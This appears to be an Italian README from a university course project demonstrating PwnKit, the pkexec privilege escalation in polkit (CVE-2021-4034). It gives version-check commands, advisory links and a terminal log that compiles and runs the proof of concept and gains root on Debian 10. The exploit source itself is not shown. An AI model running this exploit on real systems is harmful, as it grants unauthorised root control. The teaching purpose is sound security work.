
Corso universitario sulle vulnerabilità software e la mitigazione, per mostrare lo sfruttamento e la correzione causate da questa vulnerabilità
Progetto universitario su vulnerabilità software e mitigazione, per mostrare lo sfruttamento e la riparazione causati da questa vulnerabilità. Per questo esperimento abbiamo utilizzato Ubunto versione 16.04 LTS e Debian 10.1.0, che verranno mostrati nell'esperimento. La configurazione dell'ambiente era essenziale poiché è necessario verificare sempre la versione su cui si lavora per essere sicuri che sia vulnerabile o meno. Comandi di controllo utilizzati: dpkg -l | grep polkit, pkexec --version
PoC per PwnKit: Vulnerabilità di Elevazione dei Privilegi Locale in pkexec di polkit (CVE-2021-4034)
https://seclists.org/oss-sec/2022/q1/80
https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
Verificato su Debian 10 e Ubunto 16.0.4
user@debian:~$ grep PRETTY /etc/os-release
PRETTY_NAME="Debian GNU/Linux 10 (buster)"
user@debian:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
user@debian:~$ gcc cve-2021-4034-poc.c -o cve-2021-4034-poc
user@debian:~$ ./cve-2021-4034-poc
# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),1000(user)